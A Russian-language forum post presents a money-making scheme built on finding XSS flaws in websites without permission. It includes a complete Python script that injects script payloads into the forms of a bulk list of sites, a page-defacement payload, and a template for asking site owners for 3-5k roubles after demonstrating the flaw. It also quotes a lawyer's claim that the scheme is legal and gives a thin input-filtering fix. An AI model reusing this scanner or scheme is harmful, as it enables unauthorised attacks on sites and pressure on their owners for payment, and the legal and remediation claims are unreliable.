Загрузка...
Белое Авторская статья Зарабатываем на XSS уязвимости
20 янв 2024
redfox
73 500
158
  1. redfox
    redfox Автор темы 20 янв 2024 695 29 дек 2023
    [IMG]
    Всем привет:hi:
    В этой теме я расскажу вам о вечно актуальном и прибыльном способе заработка.
    Для работы вам не понадобится никаких финансовых вложений, только аккаунт на любой почте.​
    И так, зарабатывать мы с вами будем на поиске XSS уязвимости на сайтах.
    Алгоритм работы:
    1. Ищем сайт с XSS уязвимостью
    2. Связываемся с поддержкой сайта
    3. Просим у них деньги за обнаружение уязвимости

    Для начала вам необходимо ознакомиться с тем, что такое XSS уязвимость​

    XSS (Cross-Site Scripting) - уязвимость позволяющая вам выполнять свой JS (JavaScript) код на чужом сайте, за счёт чего вы можете взламывать его пользователей, красть их данные, подменять код сайта и многое другое))

    Для проверки сайта на наличие XSS уязвимости достаточно вставить в поисковую строку следующий JS код
    "><script>alert("XSS")</script> ⁡

    Для примера возьмём сайт stolplit.ru:
    [IMG]
    [IMG]
    Т.е если на сайте появляется уведомление с надписью «XSS», то на нём есть уязвимость.

    Самый простой способ эксплуатации XSS уязвимости - подмена кода сайта. Для неё достаточно просто вставить следующий JS код в поисковую строку
    ⁡>"


    [IMG]
    Опасность тут в том, что любой кто перейдёт по этой ссылке на сайт, увидит именно наш html код, а не html код сайта.​
    Сайты с XSS уязвимостью можно искать и вручную, но, тогда большая часть нашего времени будет уходить впустую. Я написал python скрипт для массовой проверки сайтов на наличие XSS уязвимости.
    1. Загружаем установочный файл Python3 с официального сайта
    (https://www.python.org/downloads/release/python-3115/ )
    2. Запускаем установочный файл и следуем иснтрукциям по установке.
    * при установке необходимо выбрать опцию "Add Python 3.x to PATH".
    3. После установки Python3, открываем командную строку (cmd), и вводим следующие команды
    ⁡pip install bs4

    ⁡pip install requests

    ⁡pip install colorama

    4. Создаем папку, например WORK. В этой папке создаём 2 файла - main.py и site.txt
    5. В файл main.py необходимо вставить код предоставленный ниже​
    Python
    from colorama import init, Fore, Back, Style
    from bs4 import BeautifulSoup as bs
    import requests

    from urllib.parse import urljoin
    from pprint import pprint
    import time


    headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36"
    }

    init(autoreset=True)


    def stop(stop_time):
    now_time = time.time()
    if stop_time - now_time <= 0:
    return True

    def save(url):
    file = open("goods.txt", "a")
    file.write(f"{url}\n")
    file.close()

    def scan_xss(url, stop_time, timeout):
    stop_time = time.time() + stop_time

    html = requests.get(url, headers=headers, timeout=timeout)
    soup = bs(html.content, "html.parser")
    forms = soup.find_all("form")
    js_script = "<Script>alert('XSS')</scripT>"
    is_vulnerable = False

    for form in forms:
    if stop(stop_time):
    break
    details = {}

    action = form.attrs.get("action")
    method = form.attrs.get("method", "get")

    if action != None and not(action.startswith("javascript")):
    action = action.lower()
    method = method.lower()
    else:
    break

    inputs = []
    for input_tag in form.find_all("input"):
    input_type = input_tag.attrs.get("type", "text")
    input_name = input_tag.attrs.get("name")
    inputs.append({"type": input_type, "name": input_name})
    details["action"] = action
    details["method"] = method
    details["inputs"] = inputs
    form_details = details
    target_url = urljoin(url, form_details["action"])
    inputs = form_details["inputs"]
    data = {}

    for input in inputs:
    if input["type"] == "text" or input["type"] == "search":
    input["value"] = js_script
    input_name = input.get("name")
    input_value = input.get("value")
    if input_name and input_value:
    data[input_name] = input_value

    if form_details["method"] == "post":
    content = requests.post(target_url, data=data, headers=headers, timeout=timeout).content.decode('latin-1')
    else:
    content = requests.get(target_url, params=data, headers=headers, timeout=timeout).content.decode('latin-1')

    if js_script in content:
    save(url)
    print(f"{Fore.RED}[+] XSS Detected on {url}{Style.RESET_ALL}\n[*] Form details:")
    pprint(form_details)


    if __name__ == "__main__":
    urls = open('site.txt', 'r', encoding="UTF-8")
    for element in urls:
    url = element.replace("\n", "")
    print(f"\033[37m{url}")
    # Максимальное время проверки одного сайта в секундах (не менее 180)
    stop_time = 180
    # Максимальное время ожидания ответа от сайта в секундах (не менее 15)
    timeout = 20
    try:
    scan_xss(url, 180, 20)
    except:
    pass # ваще похуй

    urls.close()
    Для того, что бы скрипт начал искать уязвимость на сайтах необходимо вставить список сайтов в файл site.txt, открыть в CMD папку WORK и ввести следующую команду:
    ⁡python main.py

    После запуска скрипт начнёт проверять сайты из файла на наличие XSS уязвимости, если он обнаружит сайт с уязвимостью, то выведет красным цветом его url и белым дополнительную информацию (где конкретно он нашёл уязвимость), а так же запишет url сайта в файл goods.txt.

    [IMG]

    Важное уточнение: возможны ложные срабатывания скрипта (может вывести сайт без уязвимости), поэтому всегда перепроверяйте сайт вручную.
    Самое сложное в этом способе заработка - достать список сайтов. Я расскажу вам о способе которым сам пользовался:

    Заходим на любой сайт для выгрузки топ 100 сайтов из яндекса или гугла, например https://pr-cy.ru/tools/check-keywords/
    Вводим произвольный поисковой запрос, например «Купить мебель с доставкой спб», указываем глубину поиска - топ 100, выбираем любой регион и жмём на кнопку «Проверить»
    [IMG]
    [IMG]

    После недолгого ожидания мы получаем 100 ссылок, их нужно скопировать и вставить в файл site.txt

    [IMG]
    После того как скриптом был найден сайт с уязвимостью, первым делом вы перепроверяете наличие уязвимости на сайте. Если она и в правду есть, то вы ищите почту поддержки сайта и пишите на неё о том, что нашли на сайте опасную уязвимость.

    Всё общение с поддержкой сайта сводится к отправке текста по шаблону, ниже привёл пример успешного диалога с поддержкой сайта.

    [IMG]
    [IMG]
    [IMG]
    [IMG]
    [IMG]
    [IMG]
    [IMG]
    [IMG]
    В этом разделе темы я написал ответы на часто задаваемые вопросы
    [IMG] Ошибка «No such file or directory: 'site.txt'»
    Данная ошибка с наибольшей вероятностью вызвана тем, что вы создали файл site.txt.txt вместо site.txt (можете проверить это введя в CMD команду dir и посмотрев на название файла)
    [IMG] Нарушает ли эта тема закон? (272 статью УК. РФ)
    Ответ от юриста: «Как гласит Статья 272 УК РФ, Неправомерный доступ к охраняемой законом компьютерной информации, если это деяние повлекло уничтожение, блокирование, модификацию либо копирование компьютерной информации. В нашем случае доступ к какой-либо информации не осуществляется, мы показываем лишь способ. XSS уязвимость позволяет выполнять код на стороне клиента, то есть публичной подмены кода сайта не осуществляется. XSS это не взлом и мы не сразу получаем доступ к информации как например sql, XSS это способ. Кроме того, исходя из субъективной стороны данного преступления, как таковой корысти в данном случае мы не имеем, это этичный хакинг (Хотя его даже хакингом назвать нельзя). Субъективная сторона предусматривает цель, мотив. Цели взлома сайта, его пользователей у нас нет. Мотив понятие большое, и то что мы лишь после того как отправили сообщение об обнаруженной уязвимости просим деньги, не говорит о том что мы хотели этого с самого начала, мы хотим получить благодарность за свою работу. Соответственно, заявить на нас что мы с корыстной взломали их сайт и требуем выкуп никто не сможет.»
    [IMG] Как устранять уязвимость?
    Для устранения уязвимости достаточно фильтровать текст вводимый пользователем, например убирать из его запроса следующие символы: <, >, /, (, ). Если вы не имеете значительного опыта в веб разработке, то не беритесь за устранение уязвимости, есть риск только ухудшить ситуацию.
    [IMG] Что писать в тех. поддержку?
    Здравствуйте, я нашёл достаточно опасную уязвимость на вашем сайте (домен сайта), продемонстрировать?
    У вас на сайте XSS уязвимость, т.е сайт выполняет любой мой JS код на стороне пользователя. Это может привести к подмене кода сайта, краже данных пользователей, их аккаунтов или созданию фейковых уведомлений. Для устранения достаточно просто фильтровать данные вводимые пользователем, например убирать <, >, /, (, ) из запроса.

    Вот один из самых простых примеров эксплуатации данной уязвимости - подмена HTML кода сайта (и стилей CSS)

    формируем JS код
    <script>document.body.innerHTML = "<H1 style='color: black; text-align: center;'><br>C 01.05.2024 сайт перестаёт работать</H1>";</script>
    вставляем его в поисковую строку на вашем сайте, выполняем запрос и получаем результат
    (Фото с выполнением JS кода на сайте)
    Опасность тут в том, что любой кто перейдёт по ссылке увидит именно мой html код, а не html код сайта (можете перейти и убедиться)
    (Ссылка на их сайт с выполняющимся JS кодом)
    Дальше отвечайте в зависимости от развития диалога.
    [IMG] Спрашивают сколько перевести, какую сумму называть?
    Я всегда называл 3-5к и получал эту сумму, наглеть и просить больше тут явно не стоит.
    [IMG] Я хочу поподробнее узнать про XSS уязвимость, что стоит почитать\посмотреть?
    Рекомендую цикл статей на сайте hackware.ru, в них автор полноценно раскрывает тему с поиском, эксплуатацией и обходом защиты.
    Уроки по XSS: Урок 1. Основы XSS и поиск уязвимых к XSS сайтов
    Уроки по XSS: Урок 2. Скрытая передача данных, перехват нажатия клавиш, изменение внешнего вида сайта, подцепление на BeEF, ******, подсказки обхода фильтров
    Уроки по XSS: Урок 3. Контексты внедрения XSS
    Мы с другом суммарно заработали 70 000Р на этой теме, вот последний профит:

    [IMG]

    [IMG]
    Продаю списки URL всех доменных зон.
    Есть 5 500 000 доменов .ru сайтов.
    Для покупки пишите мне в телеграме.
     
    Этот материал оказался полезным?
    Вы можете отблагодарить автора темы путем перевода средств на баланс
    Отблагодарить автора
    20 янв 2024 Изменено
    1. Посмотреть предыдущие комментарии (25)
    2. гузловик
      xuuz, и как часто приходится дозваниваться?
    3. O0OMEGA
      redfox, сайт детектится и при вводе <script>alert("XSS")</script> выдаёт xss, но когда юзаю <script>document.body.innerHTML = "<H1 style='color: black; text-align: center;'>C 01.05.2024 сайт перестаёт работать</H1>";</script> то выдаёт это[IMG]

Комментарии

Top